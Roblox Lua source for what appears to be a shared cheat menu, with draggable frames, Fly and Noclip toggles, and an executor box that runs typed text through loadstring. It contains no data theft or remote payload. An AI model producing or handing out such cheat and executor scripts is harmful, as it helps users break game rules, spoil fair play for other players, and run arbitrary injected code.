-- StarterGui.ScreenGui.Frame1.DraggableFrame
local function C_3d()
local script = G2L["3d"];
local frame = script.Parent
local UserInputService = game:GetService("UserInputService")
local dragging = false
local dragInput
local dragStart
local startPos
local function update(input)
local delta = input.Position - dragStart
frame.Position = UDim2.new(
startPos.X.Scale,
startPos.X.Offset + delta.X,
startPos.Y.Scale,
startPos.Y.Offset + delta.Y
)
end
frame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
frame.InputChanged:Connect(function(input)
if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if dragging and input == dragInput then
update(input)
end
end)
end;
task.spawn(C_3d);
-- StarterGui.ScreenGui.Frame1.TextButton.FlyToggleLocal
local function C_3f()
local script = G2L["3f"];
local button = script.Parent
local flying = false
local player = game.Players.LocalPlayer
local UIS = game:GetService("UserInputService")
local flySpeed = 50
local gyro = nil
local velocity = nil
local function startFly()
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:FindFirstChildOfClass("Humanoid")
local root = character:FindFirstChild("HumanoidRootPart")
if humanoid and root then
humanoid.PlatformStand = true
gyro = Instance.new("BodyGyro")
gyro.Name = "FlyGyro"
gyro.MaxTorque = Vector3.new(400000,400000,400000)
gyro.P = 10000
gyro.CFrame = root.CFrame
gyro.Parent = root
velocity = Instance.new("BodyVelocity")
velocity.Name = "FlyVelocity"
velocity.MaxForce = Vector3.new(400000,400000,400000)
velocity.Velocity = Vector3.new(0,0,0)
velocity.Parent = root
end
end
local function stopFly()
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:FindFirstChildOfClass("Humanoid")
local root = character:FindFirstChild("HumanoidRootPart")
if humanoid and root then
humanoid.PlatformStand = false
if gyro then
gyro:Destroy()
gyro = nil
end
if velocity then
velocity:Destroy()
velocity = nil
end
end
end
local direction = Vector3.new(0,0,0)
local function updateVelocity()
if velocity and gyro then
velocity.Velocity = (gyro.CFrame.LookVector * direction.Z + gyro.CFrame.RightVector * direction.X + Vector3.new(0,1,0) * direction.Y) * flySpeed
gyro.CFrame = workspace.CurrentCamera.CFrame
end
end
UIS.InputBegan:Connect(function(input, processed)
if not flying or processed then return end
if input.KeyCode == Enum.KeyCode.W then
direction = Vector3.new(direction.X, direction.Y, 1)
elseif input.KeyCode == Enum.KeyCode.S then
direction = Vector3.new(direction.X, direction.Y, -1)
elseif input.KeyCode == Enum.KeyCode.A then
direction = Vector3.new(-1, direction.Y, direction.Z)
elseif input.KeyCode == Enum.KeyCode.D then
direction = Vector3.new(1, direction.Y, direction.Z)
elseif input.KeyCode == Enum.KeyCode.Space then
direction = Vector3.new(direction.X, 1, direction.Z)
elseif input.KeyCode == Enum.KeyCode.LeftControl then
direction = Vector3.new(direction.X, -1, direction.Z)
end
updateVelocity()
end)
UIS.InputEnded:Connect(function(input, processed)
if not flying or processed then return end
if input.KeyCode == Enum.KeyCode.W or input.KeyCode == Enum.KeyCode.S then
direction = Vector3.new(direction.X, direction.Y, 0)
elseif input.KeyCode == Enum.KeyCode.A or input.KeyCode == Enum.KeyCode.D then
direction = Vector3.new(0, direction.Y, direction.Z)
elseif input.KeyCode == Enum.KeyCode.Space or input.KeyCode == Enum.KeyCode.LeftControl then
direction = Vector3.new(direction.X, 0, direction.Z)
end
updateVelocity()
end)
button.MouseButton1Click:Connect(function()
flying = not flying
if flying then
startFly()
button.Text = "Unfly"
else
stopFly()
button.Text = "Fly"
end
end)
button.Text = "Fly"
game:GetService("RunService").RenderStepped:Connect(function()
if flying then
updateVelocity()
end
end)
end;
task.spawn(C_3f);
-- StarterGui.ScreenGui.Frame1.TextButton.NoclipToggleLocal
local function C_41()
local script = G2L["41"];
local button = script.Parent
local player = game.Players.LocalPlayer
local noclip = false
local function setNoclip(state)
local character = player.Character
if character then
for i, part in character:GetChildren() do
if part:IsA("BasePart") then
part.CanCollide = not state
end
end
end
end
local function onCharacterAdded(character)
if noclip then
setNoclip(true)
end
end
button.MouseButton1Click:Connect(function()
noclip = not noclip
setNoclip(noclip)
if noclip then
button.Text = "Unnoclip"
else
button.Text = "Noclip"
end
end)
player.CharacterAdded:Connect(onCharacterAdded)
button.Text = "Noclip"
end;
task.spawn(C_41);
-- StarterGui.ScreenGui.Frame4.DraggableFrame
local function C_43()
local script = G2L["43"];
local frame = script.Parent
local UserInputService = game:GetService("UserInputService")
local dragging = false
local dragInput
local dragStart
local startPos
local function update(input)
local delta = input.Position - dragStart
frame.Position = UDim2.new(
startPos.X.Scale,
startPos.X.Offset + delta.X,
startPos.Y.Scale,
startPos.Y.Offset + delta.Y
)
end
frame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
frame.InputChanged:Connect(function(input)
if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if dragging and input == dragInput then
update(input)
end
end)
end;
task.spawn(C_43);
-- StarterGui.ScreenGui.Frame4.TextButton.LocalScript
local function C_46()
local script = G2L["46"];
local ogtext = script.Parent.Text
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Parent.Frame4:Destroy()
end)
end;
task.spawn(C_46);
-- StarterGui.ScreenGui.Frame4.TextButton.LocalScript
local function C_48()
local script = G2L["48"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Parent.Frame3.Visible = true
script.Parent.Parent.Parent.Frame4.Visible = false
script.Parent.Parent.Parent.Frame3.Position = script.Parent.Parent.Parent.Frame4.Position
end)
end;
task.spawn(C_48);
-- StarterGui.ScreenGui.Frame4.TextButton.LocalScript
local function C_4b()
local script = G2L["4b"];
local button = script.Parent
local textbox = script.Parent.Parent.TextBox
button.MouseButton1Click:Connect(function()
loadstring(textbox.Text)() -- loadstring is broken in studio, dont worry
end)
end;
task.spawn(C_4b);
-- StarterGui.ScreenGui.Frame4.TextButton.LocalScript
local function C_4d()
local script = G2L["4d"];
local button = script.Parent
local textbox = script.Parent.Parent.TextBox
button.MouseButton1Click:Connect(function()
textbox.Text = "" --Itsstring that contains nothing xd, so it dose set it to empty which we clear it
end)
end;
task.spawn(C_4d);
return G2L["1"], require;No comments yet for this script.

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